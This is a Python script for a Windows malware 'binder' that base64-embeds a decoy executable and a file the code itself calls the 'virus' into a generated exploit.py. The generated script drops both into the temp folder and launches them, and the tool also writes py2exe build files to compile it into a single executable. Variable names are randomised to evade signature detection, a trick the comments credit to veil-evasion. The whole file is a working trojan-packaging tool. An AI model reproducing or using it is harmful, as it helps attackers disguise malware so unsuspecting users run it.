# This runs on windows only at this time
# Would eventually like to make it cross platform (pyinstaller instead of py2exe)
# A lot of this code was "inspired" by veil-evasion
# Und3rf10w

import base64, random, string, sys, os, argparse, re

desc = "Relatively simple binder intended to be incredibly lightweight. Assumes payload is already a compiled exe that will execute as a separate process. Provided the benefit of leaving the original executeable 'intact', allowing it to pass any signature checks made at RUNTIME. Emphasis on RUNTIME."
parser = argparse.ArgumentParser(prog='simple_binder', usage=sys.argv[0] + ' [options]', description=desc)
parser.add_argument('-t', "--template", type=str, help="Base file to use")
parser.add_argument('-m', "--virus", type=str, help="Malicious EXE to use")
args = parser.parse_args()


if not args.template or not args.virus:
	parser.print_help()
	exit()

template_file = args.template
virus_file = args.virus

# Totally stolen straight from veil-evasion
def randomString(length=-1):
	"""
	Returns random string of "length" characters.
	If no length is specified, resulting string is between 6 and 15 characters.
	"""
	if length == -1: length = random.randrange(6,16)
	random_string = ''.join(random.choice(string.ascii_letters) for x in  range(length))
	return random_string

# Get and encode the template file
with open(template_file, "rb") as templateOpen:
	encodedTemplate = base64.b64encode(templateOpen.read())

# Get and encode the malicious file
with open(virus_file, "rb") as virusOpen:
	encodedVirus = base64.b64encode(virusOpen.read())

def outputPrep():
	with open('exploit.py', "w+") as outputprePrep:
		outputprePrep.write("import base64,os,sys\n")
		# randomize variable names
		base_exe_location = randomString()
		base_temp = randomString()
		base_encoded = randomString()
		virus_exe_location = randomString()
		virus_exe_name = randomString()
		virus_encoded = randomString()
		virus_temp = randomString()
		# write exploit.py
		outputprePrep.write("%s = \"%s\"\n" %(base_encoded,encodedTemplate))
		outputprePrep.write("%s = os.getenv('TEMP') + \"\\\%s\"\n" % (base_exe_location,template_file))
		outputprePrep.write("with open(%s, 'wb+') as %s:\n" %(base_exe_location, base_temp))
		outputprePrep.write("\t%s.write(base64.b64decode(%s))\n" %(base_temp,base_encoded))
		outputprePrep.write("\t%s.close()\n\n" %(base_temp))
		outputprePrep.write("os.startfile(%s)\n" %(base_exe_location))
		outputprePrep.write("%s = os.getenv('TEMP') + \"\\\%s.exe\"\n" %(virus_exe_location,virus_exe_name))
		outputprePrep.write("%s = \"%s\"\n" %(virus_encoded,encodedVirus))
		outputprePrep.write("with open(%s, 'wb+') as %s:\n" %(virus_exe_location,virus_temp))
		outputprePrep.write("\t%s.write(base64.b64decode(%s))\n" %(virus_temp,virus_encoded))
		outputprePrep.write("\t%s.close()\n\n" %(virus_temp))
		outputprePrep.write("os.startfile(%s)\n" %(virus_exe_location))
		outputprePrep.write("sys.exit(0)")
		outputprePrep.close()

outputPrep()
templateOpen.close()
virusOpen.close()

# Building the construction script
def runmebatPrep():
	with open('runme.bat', "w+") as runmebatprePrep:
		runmebatprePrep.write("rem Batch Script for compiling python code into an executable\n") 
		runmebatprePrep.write("rem on windows with py2exe\n")
		runmebatprePrep.write("rem Usage: Drop into your Python folder and click, or anywhere if Python is in your system path\n\n")
		runmebatprePrep.write("python setup.py py2exe\n")
		runmebatprePrep.write("cd dist\n")
		runmebatprePrep.write("move exploit.exe ../\n")
		runmebatprePrep.write("cd ..\n")
		runmebatprePrep.write("rmdir /S /Q build\n")
		runmebatprePrep.write("rmdir /S /Q dist\n")
		runmebatprePrep.close()

runmebatPrep()

# Supporting file for py2exe
def setupfilePrep():
	with open('setup.py', "w+") as setupfileprePrep:
		setupfileprePrep.write("from distutils.core import setup\n")
		setupfileprePrep.write("import py2exe, sys, os\n\n")
		setupfileprePrep.write("setup(\n")
		setupfileprePrep.write("\toptions = {'py2exe': {'bundle_files': 1}},\n")
		setupfileprePrep.write("\tzipfile = None,\n")
		setupfileprePrep.write("\twindows=['exploit.py']\n")
		setupfileprePrep.write(")\n")
		setupfileprePrep.close()

setupfilePrep()

# TODO: 
#	* Automatically execute runme.bat
#	* Package all files in a folder for easy dist

exit()